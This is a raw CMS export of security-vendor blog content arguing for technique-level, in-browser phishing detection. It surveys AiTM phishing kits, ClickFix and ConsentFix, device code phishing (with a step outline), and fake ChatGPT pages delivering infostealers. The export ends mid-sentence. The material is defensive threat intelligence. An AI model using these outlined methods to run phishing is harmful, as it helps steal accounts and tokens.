new problem so much as it's compressed the timelines on an existing one — attackers can generate infrastructure, iterate on tooling, and industrialize newly discovered techniques faster than before. The bottom layers of the Pyramid are collapsing under the weight of machine-speed operations, and the middle layers are starting to buckle too.",{"data":7449,"content":7450,"nodeType":860},{},[7451],{"data":7452,"marks":7453,"value":7454,"nodeType":864},{},[],"These changes mean that technique-level detection is more important than ever. In this article, we’ll dig into how the Pyramid is changing, and what this means for our detection philosophy at Push (TL;DR — it reinforces the path we’re already on: building detections at the top of the Pyramid by harnessing browser visibility). ",{"data":7456,"content":7457,"nodeType":1005},{},[],{"data":7459,"content":7460,"nodeType":1009},{},[7461],{"data":7462,"marks":7463,"value":7465,"nodeType":864},{},[7464],{"type":899},"The bottom of the Pyramid was already crumbling",{"data":7467,"content":7468,"nodeType":860},{},[7469,7473,7481],{"data":7470,"marks":7471,"value":7472,"nodeType":864},{},[],"The case against indicator-based detection didn't need AI to be compelling. ",{"data":7474,"content":7476,"nodeType":883},{"uri":7475},"https://www.spamhaus.org/",[7477],{"data":7478,"marks":7479,"value":7480,"nodeType":864},{},[],"89% of phishing domains are active for fewer than two days",{"data":7482,"marks":7483,"value":7484,"nodeType":864},{},[],", with just 6.5% surviving past 15 days — by the time a domain makes it onto a blocklist, the campaign has moved on.",{"data":7486,"content":7487,"nodeType":860},{},[7488,7492,7500],{"data":7489,"marks":7490,"value":7491,"nodeType":864},{},[],"We've ",{"data":7493,"content":7495,"nodeType":883},{"uri":7494},"https://pushsecurity.com/blog/why-most-phishing-attacks-feel-like-a-zero-day/",[7496],{"data":7497,"marks":7498,"value":7499,"nodeType":864},{},[],"written before",{"data":7501,"marks":7502,"value":7503,"nodeType":864},{},[]," about how this makes every phishing attack effectively a zero-day for organizations relying on known-bad detection. The phishing kit's behavior — its page structure, script signatures, malicious payload mechanics — is the only detection target that outlasts a single campaign.",{"data":7505,"content":7506,"nodeType":860},{},[7507],{"data":7508,"marks":7509,"value":7510,"nodeType":864},{},[],"When we blogged about the Pyramid of Pain for modern attacks that happen predominantly over the internet, with minimal (or zero) endpoint contact, it first looked like this: ",{"data":7512,"content":7516,"nodeType":996},{"target":7513},{"sys":7514},{"id":7515,"type":1001,"linkType":1002},"2N04ycJ6RKGfHdX5X1TwU3",[],{"data":7518,"content":7519,"nodeType":860},{},[7520],{"data":7521,"marks":7522,"value":7523,"nodeType":864},{},[],"Now, it looks more like this:",{"data":7525,"content":7529,"nodeType":996},{"target":7526},{"sys":7527},{"id":7528,"type":1001,"linkType":1002},"mfhP4WToOQkrHnVkXU0tX",[],{"data":7531,"content":7532,"nodeType":860},{},[7533],{"data":7534,"marks":7535,"value":7536,"nodeType":864},{},[],"Let’s explore why. ",{"data":7538,"content":7539,"nodeType":1312},{},[7540],{"data":7541,"marks":7542,"value":7544,"nodeType":864},{},[7543],{"type":899},"AI is accelerating phishing rotation and delivery",{"data":7546,"content":7547,"nodeType":860},{},[7548],{"data":7549,"marks":7550,"value":7551,"nodeType":864},{},[],"Attackers are harnessing AI at every stage, speeding up the process of creating, rotating, and replacing phishing infrastructure at every level, as well as capitalizing on AI adoption itself to enhance their lures. The operational signature is more domains, shorter lifespans, more variation, and fewer of the reuse patterns that blocklists depend on.",{"data":7553,"content":7554,"nodeType":860},{},[7555,7559,7566],{"data":7556,"marks":7557,"value":7558,"nodeType":864},{},[],"Attackers can ",{"data":7560,"content":7561,"nodeType":883},{"uri":7180},[7562],{"data":7563,"marks":7564,"value":7565,"nodeType":864},{},[],"vibe-code entire phishing pages in minutes",{"data":7567,"marks":7568,"value":7569,"nodeType":864},{},[]," — not just cloning legitimate login pages but vibe-cloning them, feeding an AI a screenshot and having it rebuild a convincing frontend with a completely unique backend. ",{"data":7571,"content":7572,"nodeType":860},{},[7573,7577,7585,7589,7597],{"data":7574,"marks":7575,"value":7576,"nodeType":864},{},[],"We've seen attackers clone free SaaS tools like background removers and PDF converters, then inject phishing components or ClickFix payloads into what looks like a functional utility. We’ve even seen attackers distributing malware using AI-generated pages shared using ",{"data":7578,"content":7579,"nodeType":883},{"uri":5327},[7580],{"data":7581,"marks":7582,"value":7584,"nodeType":864},{},[7583],{"type":1455},"LLM tool sharing functionality",{"data":7586,"marks":7587,"value":7588,"nodeType":864},{},[],", resulting in phishing delivery pages hosted on real claude.ai and chatgpt.com. And legitimate cloud platforms like ",{"data":7590,"content":7592,"nodeType":883},{"uri":7591},"https://www.huntress.com/blog/railway-paas-m365-token-replay-campaign",[7593],{"data":7594,"marks":7595,"value":7596,"nodeType":864},{},[],"Railway",{"data":7598,"marks":7599,"value":7600,"nodeType":864},{},[],", Cloudflare Workers, and Vercel host and dynamically rotate attack infrastructure, so the domains feeding into blocklists often belong to reputable services that can't simply be blocked. ",{"data":7602,"content":7606,"nodeType":996},{"target":7603},{"sys":7604},{"id":7605,"type":1001,"linkType":1002},"5yoLmqysyQazfzLITCUTfc",[],{"data":7608,"content":7612,"nodeType":996},{"target":7609},{"sys":7610},{"id":7611,"type":1001,"linkType":1002},"5XK5qZMQU19xlA8L2T5y0Z",[],{"data":7614,"content":7615,"nodeType":1312},{},[7616],{"data":7617,"marks":7618,"value":7620,"nodeType":864},{},[7619],{"type":899},"The kit ecosystem is fragmenting faster than anyone can track",{"data":7622,"content":7623,"nodeType":860},{},[7624],{"data":7625,"marks":7626,"value":7627,"nodeType":864},{},[],"What we see across our install base is a huge and growing variation in phishing kits — new kits, derivative kits of known platforms, derivatives of those derivatives — appearing on a weekly basis.",{"data":7629,"content":7630,"nodeType":860},{},[7631,7635,7642],{"data":7632,"marks":7633,"value":7634,"nodeType":864},{},[],"As we reported in our ",{"data":7636,"content":7637,"nodeType":883},{"uri":6543},[7638],{"data":7639,"marks":7640,"value":7641,"nodeType":864},{},[],"Browser Attacks Report",{"data":7643,"marks":7644,"value":7645,"nodeType":864},{},[],", the most common AiTM kits we detected over the last year were Tycoon 2FA (59% of detections), followed by Sneaky 2FA, FlowerStorm, Evilginx (nominally a red team tool, but widely abused by attackers), NakedPages, Gabagool, and dozens more — but those established names are just the visible layer.",{"data":7647,"content":7648,"nodeType":860},{},[7649,7653,7661,7665,7672],{"data":7650,"marks":7651,"value":7652,"nodeType":864},{},[],"Code is forked, modified, and redeployed across kits in a pattern that ",{"data":7654,"content":7656,"nodeType":883},{"uri":7655},"https://blog.barracuda.com/2026/04/16/threat-spotlight-tycoon-2fa-scattered-everywhere",[7657],{"data":7658,"marks":7659,"value":7660,"nodeType":864},{},[],"resembles open-source development",{"data":7662,"marks":7663,"value":7664,"nodeType":864},{},[]," more than traditional criminal enterprise, and the rate at which new variants appear is accelerating. The ",{"data":7666,"content":7667,"nodeType":883},{"uri":3259},[7668],{"data":7669,"marks":7670,"value":7671,"nodeType":864},{},[],"Venom kit",{"data":7673,"marks":7674,"value":7675,"nodeType":864},{},[]," reuses Sneaky 2FA's AiTM infrastructure but carries different branding and adds device code phishing — whether it's the same developers, stolen code, or a deliberate fork is unclear.",{"data":7677,"content":7678,"nodeType":860},{},[7679,7683,7691,7695,7704],{"data":7680,"marks":7681,"value":7682,"nodeType":864},{},[],"Tycoon 2FA illustrates the scale of the evolution. The kit evolves continuously, addingnew capabilities, new evasion techniques, and hybridizing with other platforms. Even when Sekoia and Microsoft seized 330+ Tycoon domains in March 2026, the techniques it popularized were already embedded across competitors, and the slack was taken up by rival platforms within days. And in any case, Tycoon was back to ",{"data":7684,"content":7686,"nodeType":883},{"uri":7685},"https://www.crowdstrike.com/en-us/blog/tycoon2fa-phishing-as-a-service-platform-persists-following-takedown/",[7687],{"data":7688,"marks":7689,"value":7690,"nodeType":864},{},[],"normal levels of operation",{"data":7692,"marks":7693,"value":7694,"nodeType":864},{},[]," shortly after. It has also been observed ",{"data":7696,"content":7698,"nodeType":883},{"uri":7697},"https://www.okta.com/en-nl/blog/threat-intelligence/tycoon_2fa_phishing_actors_scatter/",[7699],{"data":7700,"marks":7701,"value":7703,"nodeType":864},{},[7702],{"type":1455},"pivoting to add new device code phishing capabilities",{"data":7705,"marks":7706,"value":7707,"nodeType":864},{},[]," (more on that below). ",{"data":7709,"content":7710,"nodeType":860},{},[7711],{"data":7712,"marks":7713,"value":7714,"nodeType":864},{},[],"Tear one down and there are many more to take its place — and meanwhile the original is already evolving into something new.",{"data":7716,"content":7720,"nodeType":996},{"target":7717},{"sys":7718},{"id":7719,"type":1001,"linkType":1002},"3UDzUCCizPJhXp3SsoZuSK",[],{"data":7722,"content":7723,"nodeType":1312},{},[7724],{"data":7725,"marks":7726,"value":7728,"nodeType":864},{},[7727],{"type":899},"New techniques are being industrialized faster than ever",{"data":7730,"content":7731,"nodeType":860},{},[7732],{"data":7733,"marks":7734,"value":7735,"nodeType":864},{},[],"As well as the fragmentation of existing kits, we’re seeing new techniques added at an accelerating rate. ",{"data":7737,"content":7738,"nodeType":860},{},[7739,7743],{"data":7740,"marks":7741,"value":360,"nodeType":864},{},[7742],{"type":899},{"data":7744,"marks":7745,"value":7746,"nodeType":864},{},[]," is the clearest case study. From early nation state adoption in 2024, it took until 2026 for criminal adoption to really take off, but the take-up this year is unprecedented. The EvilTokens kit packaged device code phishing into a PhaaS offering with GPT-powered spear-phishing and adaptive landing pages, hitting 340+ organizations across five countries in March 2026. ",{"data":7748,"content":7749,"nodeType":860},{},[7750],{"data":7751,"marks":7752,"value":7753,"nodeType":864},{},[],"Now, device code functionality is now a core phish kit component. We’re tracking 18+ kits with device code phishing capabilities and a 37.5x increase in device code phishing detections this year alone, with the technique moving from state-sponsored exclusivity to something any PhaaS customer can rent.",{"data":7755,"content":7756,"nodeType":860},{},[7757,7761,7769,7773,7778,7782,7790],{"data":7758,"marks":7759,"value":7760,"nodeType":864},{},[],"Similarly, when we ",{"data":7762,"content":7764,"nodeType":883},{"uri":7763},"https://pushsecurity.com/blog/inside-criminal-phishing-panel",[7765],{"data":7766,"marks":7767,"value":7768,"nodeType":864},{},[],"infiltrated Doko's Panel",{"data":7770,"marks":7771,"value":7772,"nodeType":864},{},[]," — a ",{"data":7774,"marks":7775,"value":7777,"nodeType":864},{},[7776],{"type":899},"real-time vishing and AiTM platform",{"data":7779,"marks":7780,"value":7781,"nodeType":864},{},[]," used by ShinyHunters and affiliated groups — the codebase was full of LLM-generated artifacts. Multiple groups were using the templated vishing panel and spinning up their own variants, but the AI-generated indicators persisted throughout. This approach to real-time vishing + browser payload has been a ",{"data":7783,"content":7784,"nodeType":883},{"uri":4082},[7785],{"data":7786,"marks":7787,"value":7789,"nodeType":864},{},[7788],{"type":1455},"mainstay of the Com affiliates like ShinyHunters this year",{"data":7791,"marks":7792,"value":1774,"nodeType":864},{},[],{"data":7794,"content":7798,"nodeType":996},{"target":7795},{"sys":7796},{"id":7797,"type":1001,"linkType":1002},"01mOiserRBXraawXwQyJNm",[],{"data":7800,"content":7801,"nodeType":860},{},[7802,7806,7810,7814,7823,7827,7835],{"data":7803,"marks":7804,"value":7805,"nodeType":864},{},[],"The broader ",{"data":7807,"marks":7808,"value":315,"nodeType":864},{},[7809],{"type":899},{"data":7811,"marks":7812,"value":7813,"nodeType":864},{},[]," family shows the same acceleration: First reported in early 2024 and adopted by four nation-state groups within a single quarter. Fast forward and ",{"data":7815,"content":7817,"nodeType":883},{"uri":7816},"https://www.crowdstrike.com/en-us/global-threat-report/",[7818],{"data":7819,"marks":7820,"value":7822,"nodeType":864},{},[7821],{"type":1455},"CrowdStrike's data",{"data":7824,"marks":7825,"value":7826,"nodeType":864},{},[]," shows a 563% increase in fake CAPTCHA incidents (one of the more common ClickFix lure types), while ",{"data":7828,"content":7829,"nodeType":883},{"uri":5971},[7830],{"data":7831,"marks":7832,"value":7834,"nodeType":864},{},[7833],{"type":1455},"Microsoft reported",{"data":7836,"marks":7837,"value":7838,"nodeType":864},{},[]," it as making up 47% of observed attacks according to their Digital Defense Report.",{"data":7840,"content":7841,"nodeType":860},{},[7842,7846,7850,7854,7861,7865,7872],{"data":7843,"marks":7844,"value":7845,"nodeType":864},{},[],"And ",{"data":7847,"marks":7848,"value":6041,"nodeType":864},{},[7849],{"type":899},{"data":7851,"marks":7852,"value":7853,"nodeType":864},{},[]," — a combination of ClickFix and OAuth consent phishing techniques — suggests the next compression is already underway. Push researchers ",{"data":7855,"content":7856,"nodeType":883},{"uri":6036},[7857],{"data":7858,"marks":7859,"value":7860,"nodeType":864},{},[],"discovered the technique",{"data":7862,"marks":7863,"value":7864,"nodeType":864},{},[]," in December 2025 — a browser-native ClickFix variant hijacking OAuth consent grants via Azure CLI's localhost redirect. It was later confirmed to be tied to APT29. By January 2026, a ",{"data":7866,"content":7867,"nodeType":883},{"uri":6075},[7868],{"data":7869,"marks":7870,"value":7871,"nodeType":864},{},[],"criminal ConsentFix v3 toolkit",{"data":7873,"marks":7874,"value":7875,"nodeType":864},{},[]," had appeared on the XSS forum with Cloudflare Workers, ZoomInfo targeting, and automated exfiltration via Pipedream.",{"data":7877,"content":7881,"nodeType":996},{"target":7878},{"sys":7879},{"id":7880,"type":1001,"linkType":1002},"41FMif4T0y1maflzonWgL8",[],{"data":7883,"content":7884,"nodeType":1005},{},[],{"data":7886,"content":7887,"nodeType":1009},{},[7888],{"data":7889,"marks":7890,"value":7892,"nodeType":864},{},[7891],{"type":899},"Why technique-level detection is the only layer that holds",{"data":7894,"content":7895,"nodeType":860},{},[7896],{"data":7897,"marks":7898,"value":7899,"nodeType":864},{},[],"The middle of the Pyramid — tool signatures and artifacts — used to offer much more durable detection than infrastructure indicators. Fingerprinting a specific phishing kit by its JavaScript structure or HTML patterns provided a detection target that survived across dozens or hundreds of campaigns, even as the underlying domains rotated. Tool level detections are still better, but not by quite the same margin.",{"data":7901,"content":7905,"nodeType":996},{"target":7902},{"sys":7903},{"id":7904,"type":1001,"linkType":1002},"5pxaYdCIFiFKLPhRaPoldX",[],{"data":7907,"content":7908,"nodeType":860},{},[7909],{"data":7910,"marks":7911,"value":7912,"nodeType":864},{},[],"When the kit landscape was dominated by a handful of platforms, you could write signatures for Tycoon, Sneaky2FA, EvilProxy, and so on, and cover the lion's share of attacks. With the ecosystem now producing new variants and entirely new kits on a weekly basis, detecting by kit fingerprint starts to look uncomfortably similar to detecting by domain.",{"data":7914,"content":7915,"nodeType":860},{},[7916],{"data":7917,"marks":7918,"value":7919,"nodeType":864},{},[],"But many of these proliferating kits do share behavioral patterns at a deeper level than their code signatures. For example, every device code phishing kit implements fundamentally the same flow: present a lure, generate a device code via the OAuth Device Authorization endpoint, get the user to enter it on the legitimate authorization page, and poll for the resulting tokens. The frontends vary, the infrastructure varies, but the behavioral pattern doesn't.",{"data":7921,"content":7925,"nodeType":996},{"target":7922},{"sys":7923},{"id":7924,"type":1001,"linkType":1002},"FyyHayQtsJTwoB1kluMOl",[],{"data":7927,"content":7928,"nodeType":860},{},[7929],{"data":7930,"marks":7931,"value":7932,"nodeType":864},{},[],"Genuinely new attack techniques still require human creativity — an attacker has to identify a gap in how a legitimate protocol or feature can be subverted. That kind of innovation hasn't been automated. But the window to discover a technique, build a detection, and then deploy it before it is adopted by criminals at scale is compressing with each generation.",{"data":7934,"content":7935,"nodeType":860},{},[7936],{"data":7937,"marks":7938,"value":7939,"nodeType":864},{},[],"Organizations that detect at the technique level and deploy before commoditization have a structural advantage that increases over time. Waiting for indicators — even tool-level indicators — means chasing a curve that's accelerating away from you. This is the challenge we grapple with every day as we strive for the most resilient detections possible. ",{"data":7941,"content":7942,"nodeType":1116},{},[7943],{"data":7944,"content":7945,"nodeType":860},{},[7946,7950,7958,7962],{"data":7947,"marks":7948,"value":7949,"nodeType":864},{},[],"As our CPO Jacques Louw put it on ",{"data":7951,"content":7953,"nodeType":883},{"uri":7952},"https://risky.biz/RBNEWSSI128/",[7954],{"data":7955,"marks":7956,"value":7957,"nodeType":864},{},[],"Risky Business",{"data":7959,"marks":7960,"value":7961,"nodeType":864},{},[],": ",{"data":7963,"marks":7964,"value":7966,"nodeType":864},{},[7965],{"type":2246},"\"There's no list of bad domains anywhere in the product. It's a crutch — a false cheat code that stops you from doing the detection in the way that actually is resilient, because the next time you see it, it will be on a different domain.\"",{"data":7968,"content":7969,"nodeType":1005},{},[],{"data":7971,"content":7972,"nodeType":1009},{},[7973],{"data":7974,"marks":7975,"value":7977,"nodeType":864},{},[7976],{"type":899},"What it takes to detect at the top of the Pyramid",{"data":7979,"content":7980,"nodeType":860},{},[7981],{"data":7982,"marks":7983,"value":7984,"nodeType":864},{},[],"If technique-level detection is the only layer that holds, two things have to be true about your detection capability: You need the right vantage point, and you need the research velocity to stay ahead.",{"data":7986,"content":7987,"nodeType":1312},{},[7988],{"data":7989,"marks":7990,"value":7992,"nodeType":864},{},[7991],{"type":899},"You need the right vantage point",{"data":7994,"content":7995,"nodeType":860},{},[7996],{"data":7997,"marks":7998,"value":7999,"nodeType":864},{},[],"Technique-level behaviors in browser-based identity attacks — how a phishing page orchestrates credential entry, how a device code flow presents its authorization prompt, how a ClickFix variant manipulates the clipboard — are visible in the browser session and nowhere else.",{"data":8001,"content":8002,"nodeType":860},{},[8003],{"data":8004,"marks":8005,"value":8006,"nodeType":864},{},[],"Network proxies see encrypted traffic and can attempt to reconstruct page behavior from metadata, but DOM manipulation, user interaction sequences, and script execution aren't visible from that vantage point. Email gateways see the delivery mechanism (or nothing at all in the increasing number of social media and search engine based attacks) but not the payload.",{"data":8008,"content":8009,"nodeType":860},{},[8010,8014,8022],{"data":8011,"marks":8012,"value":8013,"nodeType":864},{},[],"As we disclosed in our ",{"data":8015,"content":8016,"nodeType":883},{"uri":6543},[8017],{"data":8018,"marks":8019,"value":8021,"nodeType":864},{},[8020],{"type":1455},"browser attacks report",{"data":8023,"marks":8024,"value":8025,"nodeType":864},{},[],", 95% of in-browser attacks we detect use some form of bot protection, often combined with conditional loading techniques like referrer and browser checks, reliably defeating automated analysis techniques. ",{"data":8027,"content":8028,"nodeType":860},{},[8029],{"data":8030,"marks":8031,"value":8032,"nodeType":864},{},[],"Behavioral detection at the technique level requires observing what happens on the page at the moment the user interacts with it — analyzing pages, not links. When you see the entire browsing flow — ad click, redirect chain, page render, credential prompt — an attack stands out immediately. Without that context, any detection system is forced to fill in gaps, and the gaps are where attacks hide.",{"data":8034,"content":8038,"nodeType":996},{"target":8035},{"sys":8036},{"id":8037,"type":1001,"linkType":1002},"4804g6u4POUDpL42bzP0EY",[],{"data":8040,"content":8041,"nodeType":860},{},[8042],{"data":8043,"marks":8044,"value":8045,"nodeType":864},{},[],"Push sits inside the browser session, observing this in real time. Its detections target the behavioral mechanics of techniques rather than the surface characteristics of individual kits or infrastructure.",{"data":8047,"content":8048,"nodeType":1312},{},[8049],{"data":8050,"marks":8051,"value":8053,"nodeType":864},{},[8052],{"type":899},"You need the research expertise",{"data":8055,"content":8056,"nodeType":860},{},[8057],{"data":8058,"marks":8059,"value":8060,"nodeType":864},{},[],"When the window between technique discovery and industrialized exploitation is measured in weeks rather than years, the detection pipeline needs to operate on that same compressed timescale.",{"data":8062,"content":8063,"nodeType":860},{},[8064,8068,8074],{"data":8065,"marks":8066,"value":8067,"nodeType":864},{},[],"This is where our ",{"data":8069,"content":8070,"nodeType":883},{"uri":7180},[8071],{"data":8072,"marks":8073,"value":7185,"nodeType":864},{},[],{"data":8075,"marks":8076,"value":8077,"nodeType":864},{},[]," fits. It's tripled our monthly detection output — not by generating bigger blocklists, but by scaling the process of discovering behavioral patterns across the telemetry generated by 3+ million browser deployments.",{"data":8079,"content":8080,"nodeType":860},{},[8081],{"data":8082,"marks":8083,"value":8084,"nodeType":864},{},[],"The detections it produces are technique-class by design, targeting how attacks work rather than the infrastructure or specific tool that implements them. The goal is curation, not accumulation — hundreds of high-fidelity behavioral detections rather than the billions of signatures and domain entries that traditional approaches require.",{"data":8086,"content":8087,"nodeType":860},{},[8088,8092,8099],{"data":8089,"marks":8090,"value":8091,"nodeType":864},{},[],"When we detected the first in-the-wild ",{"data":8093,"content":8094,"nodeType":883},{"uri":6024},[8095],{"data":8096,"marks":8097,"value":8098,"nodeType":864},{},[],"InstallFix attack",{"data":8100,"marks":8101,"value":8102,"nodeType":864},{},[]," through the pipeline — a user had searched for NotebookLM, clicked a paid Google ad, and was redirected to a fake page with a WebAssembly C2 connector — the detection shipped to all customers within minutes. It didn't depend on knowing the domain, the ad creative, or the specific kit. It depended on recognizing the technique itself.",{"data":8104,"content":8105,"nodeType":1005},{},[],{"data":8107,"content":8108,"nodeType":1009},{},[8109],{"data":8110,"marks":8111,"value":8113,"nodeType":864},{},[8112],{"type":899},"Technique-level detection is now the only option",{"data":8115,"content":8116,"nodeType":860},{},[8117],{"data":8118,"marks":8119,"value":8120,"nodeType":864},{},[],"As a framework for detection durability, the Pyramid of Pain is more relevant than ever. ",{"data":8122,"content":8123,"nodeType":860},{},[8124],{"data":8125,"marks":8126,"value":8127,"nodeType":864},{},[],"AI has made infrastructure indicators essentially disposable. The tools tier is compressing as criminal vendors vibe-code, fork, and clone tooling at machine speed. Technique-level detection is the layer that holds long-term to be able to proactively detect and block net-new attacks and the kits that power them. ",{"data":8129,"content":8130,"nodeType":860},{},[8131],{"data":8132,"marks":8133,"value":8134,"nodeType":864},{},[],"Novel attack techniques still require human creativity to discover, and detections built around how those techniques work can survive infrastructure rotation, tool proliferation, and kit fragmentation. Defending that layer requires a vantage point inside the browser session and a research pipeline fast enough to stay ahead of the accelerating path from discovery to industrialization.",{"data":8136,"content":8137,"nodeType":1005},{},[],{"data":8139,"content":8140,"nodeType":860},{},[8141],{"data":8142,"marks":8143,"value":1682,"nodeType":864},{},[],{"data":8145,"content":8146,"nodeType":860},{},[8147],{"data":8148,"marks":8149,"value":1689,"nodeType":864},{},[],{"data":8151,"content":8152,"nodeType":860},{},[8153,8156,8164],{"data":8154,"marks":8155,"value":21,"nodeType":864},{},[],{"data":8157,"content":8158,"nodeType":883},{"uri":1700},[8159],{"data":8160,"marks":8161,"value":8163,"nodeType":864},{},[8162],{"type":1455},"Book a live demo",{"data":8165,"marks":8166,"value":2719,"nodeType":864},{},[],"The Pyramid of Pain in the AI era: Why technique-level detection matters more than ever","AI is accelerating the collapse of indicator-based threat detection. Here's why you need technique-level detection to stay ahead.","2026-06-01T00:00:00.000Z","the-pyramid-of-pain-in-the-ai-era",{"items":8172},[8173,8175],{"sys":8174,"name":342},{"id":6596},{"sys":8176,"name":6593},{"id":6592},{"items":8178},[8179],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":8180},{"url":2740},"openai-poisoned-tenant-attack","blog/openai-poisoned-tenant-attack",{"json":8184},{"data":8185,"content":8186,"nodeType":856},{},[8187],{"data":8188,"content":8189,"nodeType":860},{},[8190],{"data":8191,"marks":8192,"value":8193,"nodeType":864},{},[],"Someone created a fake OpenAI organization using our company's name and invited specific Push employees to join it. Here's what we learned. ",{"id":8195,"publishedAt":8196},"gZ98u7GsQBtQWUZAbb9ct","2026-08-12T12:00:42.290Z",{"items":8198},[8199,8201],{"sys":8200,"name":6593},{"id":6592},{"sys":8202,"name":342},{"id":6596},{"items":8204},[8205,8207,8209,8211,8213,8215,8217,8219,8221,8223],{"sys":8206,"name":279,"slug":280,"tier":31},{"id":276},{"sys":8208,"name":413,"slug":414,"tier":31},{"id":410},{"sys":8210,"name":545,"slug":546,"tier":31},{"id":542},{"sys":8212,"name":235,"slug":236,"tier":31},{"id":232},{"sys":8214,"name":607,"slug":608,"tier":45},{"id":604},{"sys":8216,"name":431,"slug":432,"tier":45},{"id":428},{"sys":8218,"name":404,"slug":405,"tier":45},{"id":401},{"sys":8220,"name":580,"slug":581,"tier":45},{"id":577},{"sys":8222,"name":484,"slug":485,"tier":45},{"id":481},{"sys":8224,"name":244,"slug":245,"tier":45},{"id":241},"Onn4BC8-UxOdB3VIa9yf7yNjfejAdGzsCHJaOs85lcM",{"id":8227,"title":8228,"authorsCollection":8229,"content":8233,"extension":228,"faqItemsCollection":8772,"faqTitle":59,"featured":6,"hashTags":59,"meta":8774,"metaTitle":8775,"ogImage":59,"postType":8776,"publishedDate":3610,"relatedBlogPostsCollection":8777,"slug":11652,"stem":11653,"subtitle":59,"summary":11654,"synopsis":11665,"sys":11666,"tagsCollection":11669,"topicsCollection":11675,"__hash__":11705},"blog/blog/why-your-training-budget-belongs-in-real-time-browser-security.json","Why your training budget belongs in real-time browser security",{"items":8230},[8231],{"fullName":3621,"firstName":3622,"jobTitle":3623,"socialLinks":59,"profilePicture":8232},{"url":3625},{"json":8234,"links":8742},{"data":8235,"content":8236,"nodeType":856},{},[8237,8244,8251,8278,8283,8289,8297,8330,8337,8340,8348,8355,8396,8439,8457,8493,8509,8512,8520,8527,8544,8551,8557,8564,8570,8573,8581,8605,8612,8631,8638,8645,8674,8682,8689,8696,8703,8711,8714,8720,8726],{"data":8238,"content":8239,"nodeType":860},{},[8240],{"data":8241,"marks":8242,"value":8243,"nodeType":864},{},[],"The compliance email arrives on schedule: \"All employees must complete annual security awareness training by Friday.\" Across the organization, hundreds of employees skim through presentations about phishing emails, answer predictable quiz questions, and return to work feeling modestly more informed about cybersecurity.",{"data":8245,"content":8246,"nodeType":860},{},[8247],{"data":8248,"marks":8249,"value":8250,"nodeType":864},{},[],"Two weeks later, an employee in the marketing department — encouraged by the company's AI adoption initiative — searches Google for \"ChatGPT\" to access the tool they'd been told to start using. They click the top result, a sponsored ad pointing to a chatgpt.com URL. The page displays a professional-looking ChatGPT service disruption notice: \"We're experiencing high traffic right now. Download our desktop app to continue.\" They click the download button, which redirects to a pixel-perfect clone of ChatGPT's official download page. The file they install is an infostealer.",{"data":8252,"content":8253,"nodeType":860},{},[8254,8258,8265,8269,8274],{"data":8255,"marks":8256,"value":8257,"nodeType":864},{},[],"This scenario is fictional, but the campaign behind it isn't. Push researchers ",{"data":8259,"content":8260,"nodeType":883},{"uri":5327},[8261],{"data":8262,"marks":8263,"value":8264,"nodeType":864},{},[],"detected and blocked exactly this attack",{"data":8266,"marks":8267,"value":8268,"nodeType":864},{},[]," across multiple customer environments. The attackers had used ChatGPT's own code-rendering feature to build a fully designed fake service page hosted on chatgpt.com itself, then drove traffic to it through search ads targeting queries like \"chatgpt,\" \"chatgpt free,\" and common typos. The destination URL was genuine, and the page looked like a real system notice. Every URL reputation check in the world considers chatgpt.com safe, because it ",{"data":8270,"marks":8271,"value":8273,"nodeType":864},{},[8272],{"type":2246},"is",{"data":8275,"marks":8276,"value":8277,"nodeType":864},{},[]," safe — except when an attacker builds a weapon inside it.",{"data":8279,"content":8282,"nodeType":996},{"target":8280},{"sys":8281},{"id":6883,"type":1001,"linkType":1002},[],{"data":8284,"content":8288,"nodeType":996},{"target":8285},{"sys":8286},{"id":8287,"type":1001,"linkType":1002},"33VcchmCetvLzSGcbazex3",[],{"data":8290,"content":8291,"nodeType":860},{},[8292],{"data":8293,"marks":8294,"value":8296,"nodeType":864},{},[8295],{"type":899},"No amount of training prepares someone to suspect a legitimate-looking page on a legitimate domain for a tool they've been explicitly told to use.",{"data":8298,"content":8299,"nodeType":860},{},[8300,8304,8313,8317,8326],{"data":8301,"marks":8302,"value":8303,"nodeType":864},{},[],"These scenarios aren’t unusual. We’ve covered ",{"data":8305,"content":8307,"nodeType":883},{"uri":8306},"https://pushsecurity.com/blog/how-push-stopped-a-high-risk-linkedin-spear-phishing-attack/",[8308],{"data":8309,"marks":8310,"value":8312,"nodeType":864},{},[8311],{"type":1455},"multiple campaigns",{"data":8314,"marks":8315,"value":8316,"nodeType":864},{},[]," involving ",{"data":8318,"content":8320,"nodeType":883},{"uri":8319},"https://pushsecurity.com/blog/new-phishing-campaign-identified-targeting-linkedin-users/",[8321],{"data":8322,"marks":8323,"value":8325,"nodeType":864},{},[8324],{"type":1455},"LinkedIn-delivered",{"data":8327,"marks":8328,"value":8329,"nodeType":864},{},[]," phishing attacks, where attackers compromised LinkedIn accounts and sent phishing links via direct message to first-degree connections — routing victims through trusted sites to a session-harvesting AITM page. The targets had every reason to trust the message: it came from someone they knew, on a platform they used daily for work.",{"data":8331,"content":8332,"nodeType":860},{},[8333],{"data":8334,"marks":8335,"value":8336,"nodeType":864},{},[],"These are the kinds of attacks that organizations are dealing with every single day. And that recent awareness training checkbox makes absolutely zero difference to the outcome. ",{"data":8338,"content":8339,"nodeType":1005},{},[],{"data":8341,"content":8342,"nodeType":1009},{},[8343],{"data":8344,"marks":8345,"value":8347,"nodeType":864},{},[8346],{"type":899},"What the research actually shows",{"data":8349,"content":8350,"nodeType":860},{},[8351],{"data":8352,"marks":8353,"value":8354,"nodeType":864},{},[],"The evidence on training effectiveness is more nuanced than either side of the debate usually admits — but the conclusion for security leaders is the same regardless of where you land.",{"data":8356,"content":8357,"nodeType":860},{},[8358,8362,8370,8374,8380,8384,8392],{"data":8359,"marks":8360,"value":8361,"nodeType":864},{},[],"A ",{"data":8363,"content":8365,"nodeType":883},{"uri":8364},"https://arxiv.org/abs/2506.19899",[8366],{"data":8367,"marks":8368,"value":8369,"nodeType":864},{},[],"2025 study from Purdue University",{"data":8371,"marks":8372,"value":8373,"nodeType":864},{},[]," involving 12,511 employees at a US fintech firm found that anti-phishing training produced no significant effect on click rates (p=0.450) or reporting rates (p=0.417), with effect sizes below 0.01 across every training modality tested. Trained employees actually clicked phishing links at a marginally ",{"data":8375,"marks":8376,"value":8379,"nodeType":864},{},[8377,8378],{"type":2246},{"type":899},"higher",{"data":8381,"marks":8382,"value":8383,"nodeType":864},{},[]," rate (10.5%) than the untrained control group (9.8%). A ",{"data":8385,"content":8387,"nodeType":883},{"uri":8386},"https://www.cybersecuritydive.com/news/cybersecurity-awareness-training-research-flaws/803201/",[8388],{"data":8389,"marks":8390,"value":8391,"nodeType":864},{},[],"separate study of 19,789 personnel at UCSD 